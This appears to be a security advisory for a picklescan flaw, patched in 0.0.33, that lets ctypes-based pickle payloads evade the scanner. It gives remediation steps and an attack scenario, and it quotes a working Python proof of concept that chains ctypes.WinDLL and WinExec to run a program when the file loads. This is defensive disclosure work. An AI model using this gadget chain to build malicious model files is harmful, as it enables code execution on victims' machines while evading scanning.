picklescan is a last-line-of-defense security control for ML model files — this bypass nullifies that control entirely. Any organization using picklescan to gate pickle file loading in MLOps pipelines, model registries, or CI/CD must upgrade to v0.0.33 immediately. Until patched, assume picklescan provides zero protection against ctypes-based payloads and enforce strict allow-listing of model sources.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| picklescan | pip | < 0.0.33 | 0.0.33 |
Do you use picklescan? You're affected.
Severity & Risk
Recommended Action
- 1. PATCH: Upgrade picklescan to 0.0.33 immediately — this release adds ctypes to the dangerous module blocklist. 2. VERIFY: Audit CI/CD and MLOps pipelines to confirm picklescan version in use; check Dockerfiles, requirements.txt, and pre-commit hooks. 3. INTERIM WORKAROUND: If immediate upgrade is blocked, add an explicit denylist check for 'ctypes' in pre-load validation scripts. 4. ARCHITECTURE: Migrate to safer serialization formats (safetensors, ONNX, TorchScript) for any model served from untrusted sources — pickle should never be used for untrusted model distribution. 5. DETECTION: Search logs and artifact stores for .pkl/.pt/.pth files loaded from external sources in last 90 days; treat any pre-patch external model load as potentially compromised. 6. POLICY: Enforce model provenance — only load models from signed, internal registries or verified publisher accounts.
Classification
Compliance Impact
This CVE is relevant to:
Technical Details
NVD Description
### Summary Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to * Load DLLs * Call C functions directly * Manipulate memory raw pointers. This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory. This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected ### PoC ```python import pickle import ctypes import operator class Kernel32Loader: def __reduce__(self): #we go direct to the kerneeellllllll return (ctypes.WinDLL, ("kernel32.dll",)) class WinExecGetter: def __reduce__(self): return (operator.itemgetter("WinExec"), (Kernel32Loader(),)) class PopCalc: def __reduce__(self): #methodcaller to invoke "__call__" on the function pointer. return ( operator.methodcaller("__call__", b"calc.exe", 1), (WinExecGetter(),) ) try: payload = pickle.dumps(PopCalc()) with open("calc_exploit.pkl", "wb") as f: f.write(payload) print("Generated 'calc_exploit.pkl'") except Exception as e: print(f"Generation failed: {e}") ``` This will create a pickle file which is not detected by the latest version of picklescan as malicious ```python import pickle print("Loading bypass.pkl...") pickle.load(open("calc_exploit.pkl", "rb")) ``` <img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />
Exploitation Scenario
An adversary targeting an MLOps team publishes a malicious PyTorch model to a public repository (e.g., Hugging Face, GitHub). The model performs as advertised for its stated task but embeds a ctypes payload in its __reduce__ method. The victim organization's CI pipeline pulls the model, runs picklescan (< 0.0.33) — scan returns clean. The model is promoted to staging. Upon first load by a training or inference worker, pickle deserialization triggers the ctypes payload, loading kernel32.dll (Windows) or libc (Linux) and executing arbitrary OS commands under the service account's privileges — achieving persistent RCE in the MLOps environment without triggering any pickle-layer detection.